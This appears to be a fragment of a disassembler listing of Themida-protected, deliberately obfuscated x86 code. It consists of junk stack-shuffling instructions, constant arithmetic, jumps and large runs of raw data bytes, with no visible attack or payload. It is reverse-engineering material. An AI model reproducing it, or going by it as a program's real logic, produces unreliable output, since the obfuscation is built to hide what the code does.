		dd 170FBDBDh, 5DE82904h, 0BD05E801h, 5D04170Fh,	37E368h
		dd 243C8900h, 89565F54h, 4C681E6h, 81000000h, 4EEh, 74FF5600h
		dd 348B0424h, 4C48324h,	5C24048Fh, 0E9241489h, 0A44Eh
; ---------------------------------------------------------------------------


loc_59A568:				; CODE XREF: Themida_:005A03BAj
		mov	ebx, 9C201CCh
		and	ebx, 799C1115h
		jmp	loc_5A53A5
; ---------------------------------------------------------------------------
		dd 54240C89h, 4C18159h,	0E9000000h, 0E05Fh, 0CB5C4DB8h
		dd 8BC1017Fh, 0C4812404h, 4, 923C181h, 0E98111C2h, 5EF22BBh
		dd 81243C8Bh, 4C4h, 2C18300h, 5D4FE9h, 24148900h, 5368E289h
		dd 0E900003Bh, 0AA09h, 0E9E68852h, 597Fh
; ---------------------------------------------------------------------------


loc_59A5CC:				; CODE XREF: Themida_:005A84A3j
		mov	ebp, 1
		jmp	loc_5A1D99
; ---------------------------------------------------------------------------
		dw 1188h
		dd 8B2434FFh, 0C481240Ch, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_598DFD
; ---------------------------------------------------------------------------
		dd 28CFC780h, 8A6E9FEh
		db 1, 0
; ---------------------------------------------------------------------------


loc_59A602:				; CODE XREF: Themida_:0059CC3Ej
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		and	eax, esi
		pop	esi
		or	edx, eax
		jmp	loc_596366
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E668240Ch, 89000070h, 0FF54241Ch, 835B2434h, 0B8E904C4h
		dd 35FFFFC4h, 63EF6EB4h, 34FFC631h, 24048B24h, 4C481h
		dd 0E9560000h, 94D1h, 8704C183h, 248B240Ch, 24048F24h
		dd 2414895Ch, 67E9E289h, 8100000Dh, 867A99E9h, 59CD8903h
		dd 0F705E5C1h, 0EFED81D5h, 8166FB18h, 252274E5h, 81D5F71Ch
		dd 2A53ABC5h, 5DE80930h, 0AB0BE9h, 6EBF5700h, 8364783Ch
		dd 348904ECh, 0E25DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A6A6:				; CODE XREF: Themida_:005A4EB4j
		add	esp, 4
		jmp	loc_5A2013
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E9505904h, 15F0h, 0D16D2FBAh, 0E5C2813Ah, 81757556h
		dd 3F1A28CAh, 0E46CE979h, 0C281FFFFh, 577EFB9Dh, 2439E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A6D9:				; CODE XREF: Themida_:005A58F4j
		pop	ebx
		mov	[edx+38h], ebp
		pop	ebp
		push	0C89h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_5AAF8B
; ---------------------------------------------------------------------------
		db 0B5h, 0C9h, 0E9h
		dd 0FFFFCF75h, 333E95Fh, 89520001h, 4C281E2h, 81000000h
		dd 4EAh, 24148700h, 2404895Ch, 47F66866h, 91FE9h, 5E355E00h
		dd 6824BE1Ch, 3EB4h, 5453E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A72D:				; CODE XREF: Themida_:005AB3CDj
		pop	edx
		jmp	loc_5A68D3
; ---------------------------------------------------------------------------


loc_59A733:				; CODE XREF: Themida_:0059F99Dj
		sub	esp, 4
		jmp	loc_5A2F13
; ---------------------------------------------------------------------------
		dd offset dword_5B5A68
		align 10h
		dd 6783E9h, 0C3816600h,	8166076Ah, 0E90D27C3h, 0D1BEh
		dd 2DF6BE56h, 0D6F759FAh, 5BE8CE81h, 0D6F74753h, 3EFCC681h
		dd 0F0294F5Eh, 0FFFCAFE9h, 0DCB252FFh, 55AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_59A779:				; CODE XREF: Themida_:005A5F77j
		add	esp, 4
		add	esp, 4
		push	426Ch
		jmp	loc_5968C1
; ---------------------------------------------------------------------------


loc_59A78F:				; CODE XREF: Themida_:005A3983j
		or	cl, 3Ch
		xchg	bl, cl
		jmp	loc_598167
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 95h
		dd 0D5CCE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A7A2:				; CODE XREF: Themida_:00596B77j
		mov	[esp], esi
		jmp	loc_59DC47
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0D5F20F2h, 4423E9h, 0E0895000h, 405h, 4BB5300h, 5000000h
		dd 0D687219h, 192DD801h, 5B0D6872h, 0BC30E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A7D5:				; CODE XREF: Themida_:005A9869j
		pop	esi
		jmp	loc_59D126
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8702C7h, 8B665C24h, 0EC832404h, 24348904h,	29E95E54h
		dd 890000EEh, 29B9240Ch, 0F70A5477h, 55D9F7D9h,	7B355DBDh
		dd 5DE90919h, 0FFD88BE9h, 242C87FFh, 0E924248Bh, 5D48h
		dd 875AD001h, 505C2404h, 405E089h, 0E9000000h, 0FFFFB88Ah
		dd 3058E188h, 6F3BE9C8h, 54550000h, 2B3E9h, 0B204AC00h
		dd 0E9CDB353h, 0FFFFCF19h
; ---------------------------------------------------------------------------


loc_59A848:				; CODE XREF: Themida_:0059FB30j
		or	ecx, 49167106h
		add	ecx, 0A2E188A1h
		jmp	loc_59F171
; ---------------------------------------------------------------------------


loc_59A859:				; CODE XREF: Themida_:005A9078j
		sub	edx, edi
		pop	edi
		and	eax, edx
		jmp	loc_5AA184
; ---------------------------------------------------------------------------
		db 0F7h
aSa8		db 'ßé8',0
		align 2
		dw 0DA09h
		dd 81241C8Bh, 4C4h, 0BE564200h,	3F0A029Fh, 63ACE81h, 2FE91228h
		dd 310000F2h, 31FD31EFh, 0C2EF81EFh, 1D2A662h, 243C8BF8h
		dd 0E904C483h, 882Dh, 0E959CE01h, 9146h, 5530B850h, 0C2017D54h
		dd 8BE95358h, 81FFFFC8h, 4C4h, 16C38100h, 102630Ch, 16EB81EBh
		dd 8B02630Ch, 0C483242Ch, 2C38304h, 905EE953h, 9F680000h
		dd 8900001Dh, 0BE562414h, 219B1534h, 0A1E9F289h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A8EF:				; CODE XREF: Themida_:005A3C92j
		not	edi
		shr	edi, 3
		jmp	loc_5A6E45
; ---------------------------------------------------------------------------


loc_59A8F9:				; CODE XREF: Themida_:005A5080j
		add	esi, 3C8A48C9h
		jmp	loc_5A36AB
; ---------------------------------------------------------------------------
		dd 95AD601h, 0BA525EF7h, 2B7A6B4Bh, 815AD731h, 0E228EF7h
		dd 0B4C7811Eh, 1127744h, 0DE015FFBh, 1756E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A92A:				; CODE XREF: Themida_:005A1369j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5AA3C0
; ---------------------------------------------------------------------------


loc_59A93D:				; CODE XREF: Themida_:0059A41Bj
		pop	ebp
		xor	ebp, 214C66FAh
		sub	edx, 7B945E6Fh
		sub	edx, ebp
		push	ecx
		mov	ecx, 7B945E6Fh
		jmp	loc_59DA30
; ---------------------------------------------------------------------------
		db 0BAh
		dd 2, 35E9D501h, 53FFFFF4h, 0C381E389h,	4, 4C381h, 2FE90000h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A977:				; CODE XREF: Themida_:005A7486j
		mov	dword ptr [edx+30h], 14C104FBh
		xor	[edx+30h], ecx
		mov	ecx, [esp]
		jmp	loc_5A67D8
; ---------------------------------------------------------------------------
aIS0		db '‰,$é0%',0
		dd 2434FF00h, 0E9241C8Bh, 0D4DCh, 4C481h, 6C680000h, 89000022h
		dd 0B9512414h, 5EE21B62h, 0F181D9F7h, 0A11DE49Ah, 90E9CA89h
		dd 89000009h, 405E0h, 42D0000h,	87000000h, 89E92404h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A9D3:				; CODE XREF: Themida_:0059FC1Bj
		mov	esp, [esp]
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		jmp	loc_5A8815
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0B166309h, 9CE9C329h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A9EF:				; CODE XREF: Themida_:005A42D1j
		add	ebx, 522D11EDh
		add	ebx, 11D207C8h
		sub	ebp, 723F38EBh
		sub	ebp, ebx
		add	ebp, 723F38EBh
		mov	ebx, [esp]
		add	esp, 4
		shl	ebp, 7
		add	ebp, 79F28A81h
		and	eax, ebp
		jmp	loc_59F57D
; ---------------------------------------------------------------------------
		dw 34FFh
aSzs		db '$é§s',0
		align 2


loc_59AA2A:				; CODE XREF: Themida_:005A44B8j
		push	47Eh
		mov	[esp], eax
		push	4B23h
		jmp	loc_5AA230
; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C8704h, 4DF685Ch, 24E90000h
		dd 0C1000102h, 0C28105EAh, 0FFFFFFFFh, 8904EC83h, 0BE56241Ch
		dd 24AA452Ah, 105D9E9h,	4C48100h, 1000000h, 5C6D68D8h
		dd 1C890000h, 51CB8824h, 888D988h, 48B5B59h, 4C48124h
		dd 5B000000h, 0B3F6E959h, 0F181FFFFh, 2DB73B12h, 5738BB53h
		dd 0EB811EE7h, 73566C5Dh, 0EB81D3F7h, 6FAB181Ah, 0DDBDEB81h
		dd 0D92999F6h, 41F1815Bh, 4146E40Fh, 349DE981h,	0CE014EB1h
		dd 728A6859h, 14890000h, 74E76824h, 34890000h, 3B95BE24h
		dd 0E9576BEDh, 3595h, 42474FFh,	0E9240C8Bh, 0FFFFD1E2h
		dd 4C5815Dh, 83000000h,	0FF5504EDh, 0E9042474h,	4E1Dh
		dd 0C0E2815Ah, 81625062h, 6C0CAEE2h, 5551424Eh,	876390BDh
		dd 9C11B92Eh, 0E9319138h, 59CA015Dh, 42E9D589h,	59FFFFD9h
		dd 8124148Bh, 4C4h, 0E9565900h,	710Fh
; ---------------------------------------------------------------------------


loc_59AB3C:				; CODE XREF: Themida_:005A2064j
		xchg	ebx, ebp
		inc	ebx
		push	7242h
		mov	[esp], ebp
		push	ebx
		pop	ebp
		pop	ebx
		push	712Eh
		mov	[esp], ebx
		jmp	loc_5A392E
; ---------------------------------------------------------------------------
		db 89h
		dd 45BA2414h, 10CE560h,	24148BD3h, 4C481h, 2FE90000h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59AB6F:				; CODE XREF: Themida_:005A99F2j
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_5A1682
; ---------------------------------------------------------------------------
		dd 52E78957h, 1AEE9h, 5BDE8800h, 40F768h, 482EE900h, 4890000h
		dd 23B25224h, 53D58851h, 0FFC8B7E9h, 4EC81FFh, 89000000h
		dd 19BA2414h, 294FED30h, 2B3BE9D5h, 4050000h, 83000000h
		dd 48704C0h, 85E95C24h,	83FFFFC5h, 348704C4h, 3C895C24h
		dd 1828E924h, 0C6010000h, 0ED7E9h, 0F7E78100h, 835ECE3Eh
		dd 6FE9FFEFh, 4B000068h, 0FFE32DE9h, 4C281FFh, 87000000h
		dd 295C2414h, 0D3015DEAh, 4F44E9h
		db 0
; ---------------------------------------------------------------------------


loc_59AC05:				; CODE XREF: Themida_:005976EBj
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59982E
; ---------------------------------------------------------------------------


loc_59AC13:				; CODE XREF: Themida_:005995EAj
		mov	edi, 2DAF7384h
		sub	dword ptr [esp+8], 692B21DEh
		jmp	loc_5AB497
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0CEE90000h, 89FFFFB9h, 0FAC2E9F9h, 0C681FFFFh, 52118391h
		dd 5F5EF501h, 31242C33h, 2C33242Ch, 24248B24h, 0D474E9h
		dd 68EB8100h, 1798C1Dh,	68C381CBh, 8B798C1Dh, 0C483240Ch
		dd 0EB5EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AC6A:				; CODE XREF: Themida_:005A0DEEj
		add	esi, ebx
		sub	esi, 0F552FD0h
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_59E732
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 405E089h,	68000000h, 1004h, 0BD242C89h, 4
		dd 505DE829h, 0FFC21CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AC9D:				; CODE XREF: Themida_:005A858Aj
		add	ecx, edx
		jmp	loc_59E835
; ---------------------------------------------------------------------------


loc_59ACA4:				; CODE XREF: Themida_:005A75D3j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		push	7298h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5A9432
; ---------------------------------------------------------------------------
		dw 9EB8h
		dd 0E963C97Bh, 0FFFFDCDCh
; ---------------------------------------------------------------------------


loc_59ACE4:				; CODE XREF: Themida_:005985C7j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A30B3
; ---------------------------------------------------------------------------
		dd 315AD529h, 1C8B5DEEh, 4C48324h, 348BF501h, 0D5B1E924h
		dd 0C781FFFFh, 21723875h, 15E7F781h, 0BA52648Ah, 4D06BD7h
		dd 8142DAF7h, 22BDABC2h, 5AD72932h, 2EF5C781h, 69E9250Eh
		dd 0BA00004Dh, 56C46691h, 0C281DAF7h, 1, 9974F281h, 0D701A93Bh
		dd 8324148Bh, 0C78104C4h, 4, 0FFF0ACE9h, 0E08950FFh, 6D27E9h
		db 0
; ---------------------------------------------------------------------------


loc_59AD61:				; CODE XREF: Themida_:0059D33Dj
		xor	ecx, 98E73C1h
		shl	ecx, 8
		xor	ecx, 3281456Dh
		jmp	loc_5A83B3
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 50h
		dd 4B1890B8h, 0AAE0E934h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AD82:				; CODE XREF: Themida_:005AABF8j
		mov	eax, edi
		jmp	loc_597716
; ---------------------------------------------------------------------------


loc_59AD89:				; CODE XREF: Themida_:005A2557j
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 65510C4h
		not	edi
		jmp	loc_5988D5
; ---------------------------------------------------------------------------


loc_59AD9E:				; CODE XREF: Themida_:0059747Ej
		mov	[esp], ecx
		mov	ecx, edi
		push	ecx
		mov	edx, [esp]
		jmp	loc_5A11CF
; ---------------------------------------------------------------------------
		dd 0E789575Fh, 4C781h, 0C7830000h, 243C8704h, 0A4BFE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59ADC2:				; CODE XREF: Themida_:005A2946j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5AA85C
; ---------------------------------------------------------------------------


loc_59ADCD:				; CODE XREF: Themida_:0059B888j
		shr	esi, 4
		xor	esi, 0C22C4AFh
		mov	eax, esi
		pop	esi
		add	ecx, 7B963369h
		add	ecx, eax
		sub	ecx, 7B963369h
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5A106E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 81E68956h, 4C6h, 6702E900h, 52480000h, 0A8228ABAh, 0BACA8174h
		dd 0F726FF3Bh, 422CE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AE1A:				; CODE XREF: Themida_:005A93A0j
		mov	[esp], ecx
		jmp	loc_59BAF1
; ---------------------------------------------------------------------------


loc_59AE22:				; CODE XREF: Themida_:005AAA66j
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_5A6672
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 33000000h,	14312414h, 24143324h, 0E924248Bh
		dd 7608h, 4C481h, 532C0000h, 5304F800h,	81241C8Bh, 4C4h
		dd 0A4B75300h, 0E9E5EF80h, 0FFFFD5C9h, 1C8BDE01h, 4C48124h
		dd 33000000h, 0DFE92434h, 53FFFFE2h, 15DF6851h,	68591A7Dh
		dd 4EAFh, 0BF243C89h, 1F7853E5h, 0C151E9h, 2434FF00h, 0E924348Bh
		dd 7AF1h, 4C781h, 0EF830000h, 0B28CE904h, 348BFFFFh, 4C48124h
		dd 81000000h, 7C55D5EBh, 86A7E969h, 86B40000h, 59E957B5h
		dd 6800005Fh, 7FBDh, 0BD242C89h, 31D0371Dh, 87E5814Dh
		dd 0E911ED33h, 32A0h, 4EC81h, 33E90000h, 0B70000D3h, 3000E9A2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AF06:				; CODE XREF: Themida_:0059E61Aj
		mov	ebx, [esp]
		add	esp, 4


loc_59AF0C:				; CODE XREF: Themida_:0059D612j
					; Themida_:005AA0A6j
		sub	esp, 4
		mov	[esp], esi
		push	esi
		push	esp
		jmp	loc_59DA1E
; ---------------------------------------------------------------------------
		dd 5B5FF989h, 0C8BC801h, 0BF36E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AF2A:				; CODE XREF: Themida_:0059715Cj
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		push	6327h
		mov	[esp], eax
		xchg	esi, [esp]
		push	7FDEh
		mov	[esp], esi
		push	ebp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, ebp
		xchg	ecx, esi
		jmp	loc_5A2A7C
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 0D6EB80F9h, 0A2CF404h, 0D800772Ch, 0A047704h, 1C8BF42Ch
		dd 4C48324h, 0D828EB2Ch, 33E76866h, 24148966h, 45E9EBB2h
		dd 8B00005Ch, 512D2424h, 52058736h, 0C281E289h,	4, 4EA81h
		dd 14870000h, 35E95C24h, 8000004Ah, 40E967C2h, 80000033h
		dd 0DBF69DCBh, 0F380C3FEh, 3D3E9C6h, 0DEB90001h, 0F73EC108h
		dd 4F181D1h, 0F71BAE1Dh, 0F18149D1h, 5D621371h,	0FFD217E9h
		dd 75F281FFh, 0E91C503Eh, 7BF4h, 9D1C77FFh, 24041158h
		dd 0AE96E99Ch, 3C89FFFFh, 81E78924h, 4C7h, 4C78100h, 68000000h
		dd 3ECDh, 0C0CBE9h, 2C895C00h, 2414F724h, 0FF2AE9h, 0A1E95D00h
		dd 87000087h, 895C2404h, 27BD242Ch, 57773E18h, 3E1823BFh
		dd 0E9FD2977h, 1F99h, 83665866h, 0A8E901E8h, 20000005h
		dd 515058C3h, 0DDE6E9h,	28F58100h, 0E9FC8D1Ah, 0FFFFE6C4h
; ---------------------------------------------------------------------------


loc_59B05C:				; CODE XREF: Themida_:005992AFj
		add	eax, 4
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 326F3DB8h
		push	esi
		dec	dword ptr [esp]
		jmp	loc_5A957C
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0C357E924h, 1C89FFFFh, 2BB24h, 22E90000h, 5D00002Fh
		dd 0FD3E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B09A:				; CODE XREF: Themida_:005A26C3j
		and	ebx, esi
		pop	esi
		sub	ebx, 0F628664Ah
		jmp	loc_5A87C6
; ---------------------------------------------------------------------------
		dd 15AD329h, 3AD7E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B0B2:				; CODE XREF: Themida_:005A0B61j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shl	edx, 2
		not	edx
		not	edx
		push	eax
		mov	eax, 3C5BD02Ch
		xor	edx, eax
		jmp	loc_5A65E3
; ---------------------------------------------------------------------------


loc_59B0D0:				; CODE XREF: Themida_:005A7B43j
		add	al, 0F1h
		add	al, 9Eh
		pop	bx
		push	ebx
		mov	bh, 0D8h
		jmp	loc_5A0081
; ---------------------------------------------------------------------------
		dw 0CD29h
		dd 592434FFh, 0FFF7CEE9h, 0E951ADFFh, 0FFFFFD9Bh
; ---------------------------------------------------------------------------


loc_59B0F0:				; CODE XREF: Themida_:005A169Cj
		push	3AC3h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A7353
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 3722BB24h, 0D3F76D98h, 4C48E9h, 4B85000h
		dd 0E9000000h, 648Eh, 0FBF9C581h, 0E989BE3Fh, 4EC815Dh
		dd 89000000h, 0ABA2414h, 6823E827h, 1D91h, 0BB241C89h
		dd 490B2D74h, 7C9EEB81h, 0DA296D55h, 0F224E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B156:				; CODE XREF: Themida_:005A7D4Aj
		sub	edi, 27D9D322h
		jmp	loc_59CB71
; ---------------------------------------------------------------------------


loc_59B161:				; CODE XREF: Themida_:0059A4D5j
		add	edx, ebx
		push	edi
		mov	edi, 412755FDh
		inc	edi
		jmp	loc_5A53DC
; ---------------------------------------------------------------------------


loc_59B16F:				; CODE XREF: Themida_:005A033Bj
		pop	edi
		push	0E3Fh
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_5A03AC
; ---------------------------------------------------------------------------


loc_59B17F:				; CODE XREF: Themida_:005A4911j
		push	esi
		jmp	loc_59CE2E
; ---------------------------------------------------------------------------
		db 2Dh,	0CBh, 69h
		dd 335B5847h, 52E92404h, 5A0000CEh, 224AF281h, 2D5906EDh
		dd 68A37AB6h, 4374E9h, 0B2C28100h, 0F777F12Eh, 649BE9D2h
		dd 0B9510000h, 66F02560h, 57DE181h, 0D1F73B06h,	0B850D9F7h
		dd 0F9B6BC69h, 2158C129h, 0D8F759C8h, 8904EC83h, 2468243Ch
		dd 89000050h, 63BA2414h, 0BF52AA60h, 0AD15DFAFh, 315AD731h
		dd 0EE815FF8h, 716C7943h, 0C681C601h, 716C7943h, 0C07FE9h
		dd 0E9E08900h, 265Eh
; ---------------------------------------------------------------------------


loc_59B208:				; CODE XREF: Themida_:005A59B7j
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	78B0h
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5A0F4D
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 2434FF70h, 4C4815Ah,	80000000h, 0B60F30C3h, 148B66C0h
		dd 0FE685724h, 5400004Ch, 8124048Fh, 42404h, 3C8B0000h
		dd 4C48124h, 81000000h,	4ECh, 242C8900h, 4968h,	24148900h
		dd 4BAh, 5A5D5200h, 89C6E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B282:				; CODE XREF: Themida_:00597C4Aj
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	5519h
		mov	[esp], esp
		jmp	loc_5A9333
; ---------------------------------------------------------------------------
		dw 489h
		dd 0FED48824h, 0EFFFE9CCh, 0F7810000h, 745F53FBh, 595FF829h
		dd 48BC709h, 4C48324h, 0C101EF83h, 0EF8104E7h, 0D0D13B66h
		dd 1FE9F831h, 33000089h, 0E95C241Ch, 0FFFFD9BCh, 626ECF81h
		dd 0F7811964h, 43425F6h, 3ADFEF81h, 0FE01BDF1h,	243C8B5Fh
		dd 0FF04C483h, 83582434h, 7BE904C4h, 0FFFFB0h, 0E99C2404h
		dd 0FFFFC53Dh, 0E9241489h, 0FFFFAB84h, 0E92434FFh, 0FFFFDC4Ah
		dd 5CCD1235h, 58C301BCh, 0CB814B43h, 29160C26h,	0C381EBD1h
		dd 88005887h, 2576E9h, 4C48300h, 5C24048Fh, 0E9240431h
		dd 0FFFFAB50h, 1E69BA52h, 29E968D2h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B347:				; CODE XREF: Themida_:005A99B1j
		shr	edx, 7
		jmp	loc_598C15
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 8569E9h, 5FFB0900h, 0E21AEB81h, 0B0E91648h
		dd 870000E6h, 0E95C240Ch, 28EAh, 8B241C87h, 0FA682424h
		dd 89000014h, 0E952240Ch, 405Eh, 24348759h, 6624248Bh
		dd 5024048Bh, 405E089h,	68000000h, 2310h, 0BB241C89h, 4
		dd 875BD829h, 0EBE92404h, 890000C7h, 0EC812404h, 4, 68243489h
		dd 6371210h, 56D6F75Eh,	5E2414F7h, 2519E953h, 0C2810000h
		dd 4, 469BE9h, 5DC5B900h, 4AB81A00h, 0F7137E79h, 3E8C1D0h
		dd 2D08E8C1h, 714ED730h, 182DE951h, 93BE0000h, 0E95BA91Fh
		dd 802h
; ---------------------------------------------------------------------------


loc_59B404:				; CODE XREF: Themida_:0059E573j
		mov	eax, 4
		jmp	loc_59D4AB
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0C2AA6F59h, 0FF5EF001h, 34FF2434h, 0C4815D24h, 4, 8742E9h
		dd 3FBA5200h, 5644547Fh, 0EF4DE9h, 240C8700h, 2404895Ch
		dd 77EDBD55h, 0D5F76FEAh, 49AEF581h, 0F581208Ah, 0E461E2DAh
		dd 15DE889h, 0EB0158C3h, 4F17E9h, 24148900h, 0E956B050h
		dd 981Ah, 10082B35h, 6529E9C6h,	0EC810000h, 4, 0BD242C89h
		dd 4, 68E9EB01h
		db 0E0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B487:				; CODE XREF: Themida_:005A3977j
		pop	ebp
		jmp	loc_5A2AA1
; ---------------------------------------------------------------------------


loc_59B48D:				; CODE XREF: Themida_:005A5DA8j
		mov	[esp], ebp
		mov	ebp, 4
		push	eax
		jmp	loc_5A4C00
; ---------------------------------------------------------------------------
		db 29h
		dd 0AB11E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B4A2:				; CODE XREF: Themida_:005991BDj
		pop	esp
		mov	[esp], ebp
		jmp	loc_5A066E
; ---------------------------------------------------------------------------


loc_59B4AB:				; CODE XREF: Themida_:0059CBD1j
		xor	ebx, 5FE15160h
		inc	ebx
		shl	ebx, 6
		add	ebx, 57E035DDh
		add	ebx, 346B52D2h
		mov	esi, ebx
		pop	ebx
		jmp	loc_59CE25
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHbj		db '$hj',0
		align 2
		dw 1489h
aHjy		db '$h†Y',0
		align 2
		dw 2489h
		dd 24048324h, 0C2815A04h, 4, 0D9A6E9h, 240C8700h, 0E829665Ch
		dd 0D8E95D66h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59B4FB:				; CODE XREF: Themida_:005A58A7j
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	ecx
		push	edx
		mov	edx, 0FDFBD3E8h
		xor	ecx, edx
		mov	edx, [esp]
		jmp	loc_5A1368
; ---------------------------------------------------------------------------
		dd 45DDED81h, 0CD817BB7h, 7BD76DDCh, 323CC581h,	0EE217081h
		dd 14F7565Dh, 24348B24h, 8104C483h, 249634F6h, 5EF289B3h
		dd 685AD389h, 6496h, 50243C89h,	0A60852B8h, 0D152E956h
		dd 0F9010000h, 1F10E981h, 555F2B30h, 268h, 0E9015D00h
		dd 0D712E95Dh, 1C33FFFFh, 24248B24h, 78F66866h,	24148966h
		dd 29E9A2B6h, 890000B1h, 6BB62414h, 0D7F654B7h,	0F780DFF6h
		dd 5AF70044h, 817CE9h, 2434FF00h, 0E924148Bh, 2EC2h, 0EF7BE954h
		dd 8AB10000h, 5166C1FEh, 662414F6h, 0C2B35359h,	7010E9h
		dd 242C8B00h, 5504C483h, 7C5C7BBDh, 7E5C168h, 8105E5C1h
		dd 61029DE5h, 0D5F74541h, 0F543E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B5D9:				; CODE XREF: Themida_:005A958Fj
		mov	edi, esi
		pop	esi
		sub	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59F9A2
; ---------------------------------------------------------------------------
aSai		db ')Ãéí‰',0
		dw 6600h
		dd 4066D8F7h, 0F7665066h, 58662414h, 84E95766h
		db 0FCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B603:				; CODE XREF: Themida_:0059C6E4j
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A5CF5
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 694ABA52h, 0C2817D12h, 62026FB3h, 2707C281h
		dd 0D12920EBh, 240C335Ah, 33240C31h, 248B240Ch,	242C8924h
		dd 3FC68h, 0BA525D00h, 21D3644h, 9DDC281h, 0C78120D8h
		dd 217B08BFh, 57E9D701h, 6600005Eh, 0E9243C8Bh,	6216h
		dd 62E9D889h
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B66F:				; CODE XREF: Themida_:005A6366j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_597196
; ---------------------------------------------------------------------------
		db 1, 0FDh, 81h
		dd 785D81C5h, 0F5015F0Ah, 6F7CED81h, 0C581587Fh, 13865226h
		dd 2C5835Eh, 5C242C87h,	2424D366h, 0A7E6E99Ch, 0E957FFFFh
		dd 0E47Ch, 467AC181h, 0E981405Ah, 40678A25h, 0D8E9C801h
